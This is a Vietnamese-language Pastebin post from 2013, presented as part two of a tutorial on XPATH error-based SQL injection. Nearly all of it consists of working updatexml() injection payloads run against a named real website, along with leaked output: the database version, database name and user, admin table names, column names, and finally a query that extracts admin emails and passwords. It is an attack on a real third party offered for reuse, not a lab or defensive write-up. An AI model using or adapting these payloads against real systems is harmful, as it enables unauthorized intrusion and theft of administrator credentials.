Advertisement
hqlan1928

Hướng Dẫn Khai Thác SQLi Dạng XPATH (part 2)

Dec 16th, 2013
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. Get version(), database(), user():
  2.  
  3. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,version(),0x7c,database(), 0x7c,user()),0)– -
  4.  
  5. XPATH syntax error: ‘|5.6.13-log|admin_coex|coex@loca’
  6.  
  7. Get Table:
  8.  
  9. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)– -
  10. Tăng Limit lên dần để get table cần tìm.
  11.  
  12. + Ví dụ: limit 0,1 rồi limit 1,1 rồi limit 2,1…Số đầu là số thứ tự table, số sau là số table cần hiện ra, XPATH cũng như error-based, mỗi lần query được 1 table/colum.
  13.  
  14. ==> admin, admin_rights, admintype
  15.  
  16. Get Column:
  17.  
  18. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x61646d696e limit 0,1)),0)– -
  19.  
  20. Tăng Limit lên dần để get column cần tìm. Tuơng tự như lúc truy vấn table
  21. ==> id, idtype, firstname, astname, email, password, status
  22.  
  23. Get tài khoản:
  24.  
  25. http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from admin limit 0,1)),0)– -
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement